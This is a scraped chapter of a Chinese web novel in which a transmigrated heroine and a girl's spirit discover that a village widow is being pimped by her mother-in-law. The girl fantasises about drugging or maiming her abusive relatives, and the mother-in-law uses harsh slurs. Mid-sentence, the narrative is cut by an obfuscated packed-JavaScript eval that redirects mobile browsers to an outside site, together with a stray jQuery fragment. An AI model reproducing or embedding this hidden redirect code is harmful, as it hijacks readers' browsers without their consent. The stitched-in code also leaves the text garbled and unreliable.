好刺激。
陪了哥哥陪弟弟。
不过她记得,谢二哥有妻子的吧,今天来谢家,谢二哥是同他妻子一道来的。
郑南乐暗自‘啧啧’,谁说老一辈纯情的?
老一辈玩起来,真没新世纪接班人什么事。
郑二丫站在郑南乐身边,眼睛睁得老大,她问郑南乐,结结巴巴道,“姐,姐姐,那是,那是?”
郑南乐点头,“是,你未婚夫的亲哥哥。”
“荷,荷花嫂,怎么能这样?”郑二丫以为,荷花嫂只和谢小三那个。
郑南乐道:“孤儿寡母还带个老婆婆,荷花嫂养不起家啊。”
郑二丫道:“她可以改嫁的。”
“改嫁后,像你一样过活?”郑南乐问。
二丫沉默片刻,缩了缩脖子,“那还是别改嫁吧。”
过了片刻,她又道:“可是荷花嫂这样,也不是办法,要是被那些嫂嫂发现,她会被打,以后在村子里也过不下去。”
如果只和她未婚夫厮混,被发现了,两人还能结婚。
毕竟男未娶女未嫁。
和谢二哥被人发现,两人都要被剃阴阳头,送去大西北。
郑南乐望向郑二丫,眸光柔和。
郑二丫,真的很善良。
明明自己也是受害者,却对旁人富含同理心。
很戳人喜爱的小家伙。
“她做了这事,就该承受这事败露的后果。”
心软又心善,是一个优点,但过分心软心善,就不是了。
善良,该有度。
“哎,”郑二丫望着郑南乐,“姐姐,我能从你身上感觉到强大,比村里所有男人都强大,所以,姐姐,我好羡慕你啊,我也想拥有这样的力量,不仅仅是身体的力量,还有”,
郑二丫不知道怎么形容,顿了顿,才继续道,“骨子里的力量,魂体的力量?”
“你是想说,心理强大,性格刚硬吧?”
“可能吧,就是能反抗,我知道我爷爷奶奶做得不对,我娘是他俩磋磨死的,他俩不是直接杀人凶手,也是间接杀人凶手,如果我硬气点,敢为我娘报仇,我就该用迷..药.将他俩迷晕,带到深山里让他俩也体会饥饿、生病的感觉,这样慢慢等死,和我娘一样。”
“可是我不敢。”
“周围人都说,是我娘没福气,是我娘命不好,死了也是解脱。”
郑二丫又想哭。
她为什么想将身体让给姐姐,又为什么在姐姐暗戳戳地让家里人不好过时默不吭声,不就是她心里也是那么想?
她不想杀人吗?
她想,疯狂想。
很多时候,她想一包老鼠药将郑家人一起下地狱。
可是想归想,她却不能做。
她爹是军人,她娘善良又淳朴,她不能让自己变成杀人犯,让别人对她爹娘指指点点。
她自己做不到的事,她希望姐姐能做到。
“姐姐,不是所有的女人,都像姐姐一样,有反抗力量的。”郑二丫望着眼前的门,思绪进入回忆,“我记得以前的荷花姐,她以前不是这样的,以前的荷花姐姐,面上会带着快乐的笑,一朵漂亮的花插在头发上,见到一筐田螺,或者甲壳虫,吃到一块肉,都能开心一整天。”
“但是嫁人后,她脸上的笑就没那么多了,偶尔也会笑,大部分时间是沉着脸,像是要落雨的天。”
“守寡后,她连那一点点笑容都没了,虽然她望着村里人笑笑骂骂,但她眼里没有笑。”
“出嫁前,荷花姐姐看我面色不好,偶尔会给我塞一些野果子,那些野果子也是她从山里好不容易找到,自己偷偷藏下来甜嘴的,她家里也穷,没有零嘴,只能从山里找些野果子吃。村里人多,山上的野果子不等成熟,就被摘个精光,只有更山里,没有什么人光顾的地方,或者小孩子不好摘的地方,才会残留有一些,可是她送给了我一部分。”
“姐姐,荷花嫂不是个坏人,她做了坏事,一定是被人逼迫的。”郑二丫望向郑南乐。
郑南乐明白了。
这也是明明郑二丫看到未婚夫与荷花嫂钻稻谷垛,但对荷花嫂没有恶感的原因,因为那一点善意,郑二丫不忍也不愿怪罪她。
家里给她的善意太少,所以外人给她的善意,她全部细细珍藏。
“行,我给她选择。”郑南乐心软了,点头应道。
“吱呀——”
门开了,荷花嫂送谢二哥出门,年轻的面庞带着笑意,还推了谢二哥一把,娇娇嗔嗔的,哄得谢二哥黏糊糊的不愿走。
荷花嫂却将脸一肃,骂他是想惊动别人,让她不要做人了吗?
谢二哥这才不情不愿地离开。
谢二哥刚转身,荷花嫂面上的笑就落了下来,她面无表情地转身,反手落下了门。
郑南乐估摸下时间,十分钟不到,这时长,啧,谢二哥不行啊。
男人真的是,越不行,越不消停。
她轻手轻脚地靠近,顺着门缝,瞧见主屋的油灯开了,里边走出个老婆婆,她眉开眼笑,手里抓着一张钱和一张票,笑着对荷花嫂说,“荷花啊,这谢二小子够大方的,给了一块钱和一张布票,你要抓紧他,别让他对你失去了兴趣。”
荷花嫂脸上沉了下来,憎恨地盯着老婆婆,“抓紧他?那我嫁给他好不好?”
老婆婆脸一拉,眼睛似鬣狗般刮人,“嫁给他?呸,也不看自己配不配,千人骑万人睡的玩意儿,要是搁我年轻的时候,就你这样的小表子,早拉去沉塘。”
“我家没嫌弃你,你就偷着笑吧,还敢对我拉脸子,要不是你这具皮子还有用,能养我乖孙孙,就你这样不敬婆母不守妇道的媳妇,早一棍子打死,哪容你活着,败坏我家风?”
她耷拉着眼,凌厉地盯着她,“你在一年前早该死了,是我容许你活了下来,你现在有男人睡,有儿子贴心,还有我这个婆婆宽容,你还有什么不知足的?”
“别起什么歪心思,也不想想,自己被多少男人睡过,还想改嫁?谁家好男人不想娶正经女人?就你这样的,白送给别人,都不要。”
荷花嫂气得摔门进去直哭。
老婆婆盯着门,满脸阴冷。
要不是她还能养孙子,早将她打死了,免得污了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317363|183074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她儿子。
“啊啊啊,你这个坏家伙,坏家伙。”
郑二丫冲进去,对着老婆婆拳打脚踢。
可是她只是个毫无杀伤力的魂体,无论多少拳脚落到老婆婆身上,老婆婆毫无所觉。
郑二丫沮丧地又回到郑南乐身边
“姐姐。”郑二丫望着郑南乐,欲言又止。
片刻,她还是什么都没说。
郑南乐道:“你想帮助她?”
“是,”郑二丫望着自己的手,“荷花姐不是自愿的,是她婆婆逼的,我不想荷花姐再过这样的日子。”
“可是我没有能力。”
“没有,你就学。”郑南乐谆谆善诱,“平常你瞧我行事,有没有受到多少启发?”
郑二丫呆愣愣地想了想,“荷花嫂将家里的粮食都吃了,吃得饱饱的,这样那个老妈子,就打不过她了?”
“或者给老妈子下个迷..药.,将她饿个半死,或者打断她的腿,让她没法再作妖?”
郑南乐暗自点头,很好,有反抗的想法就好。
要是直愣愣的,一点想法都没有,那才是完蛋。
同时郑南乐也禁不住反省,这个年代,不是她那个年代。
这个年代的女人,吃苦耐劳,擅长忍耐,刚从封建时代过渡,农村女性的思想解放尚未崛起,她们与旧时代被压迫的女性,没有多少区别。
伟人曾指出,压在中国女性身上的有四座大山:政权、神权、族权和夫权。
旧社会的政权和神权,伟人已经推翻,但族权和夫权,依旧牢牢压制在女性头上,事实上,广大底层妇女,族权和夫权是压迫她们最严重的两座大山,古往今来,诸多普通人一辈子都没与官家打过交道,他们接触最多的,是夫家人,夫家族里人。
有这两座大山在,明明伟人提出“妇女能顶半边天”,明明建国二十多年将近三十年,人权被写入宪法,婚姻法也明确规定“废除男尊女卑的封建主义婚姻制度”、“实行男女权利平等、保护妇女和子女合法利益的新民主主义的婚姻制度”、“禁止干涉寡妇婚姻自由”等条例,但实际上,农村妇女依旧失权。
她不能用她前世的记忆,去套用这个年代的女性,觉得她们插足旁人婚姻都是自愿的,道德底线低下的。
郑南乐虚摸摸郑二丫,道:“这事,我们该问问荷花嫂,她的人生,看她想怎么过。”
外人能给予的帮助,终究是一时的,只有自己想通,立起来,以后的日子,才能过得好。
精神力将检测到老婆婆已经躺在床上,她的身侧,还有一个熟睡的小男孩,估摸着是荷花嫂的儿子狗儿,郑南乐用精神力将老婆婆弄昏迷,人轻巧落到荷花嫂门外,压低声音问:“荷花姐,你想不想改嫁?”
还在哭的荷花嫂哭声一顿,怀疑自己耳朵出了问题。
郑南乐又问了一遍。
荷花嫂走到门边,想拉开门,郑南乐在外拉着门把,“就这样说话吧。”
荷花嫂能听出是女声,但记忆里没有对应的人,她沉默着,没有开口。
“荷花嫂想继续过这样的日子,直至狗儿长大?”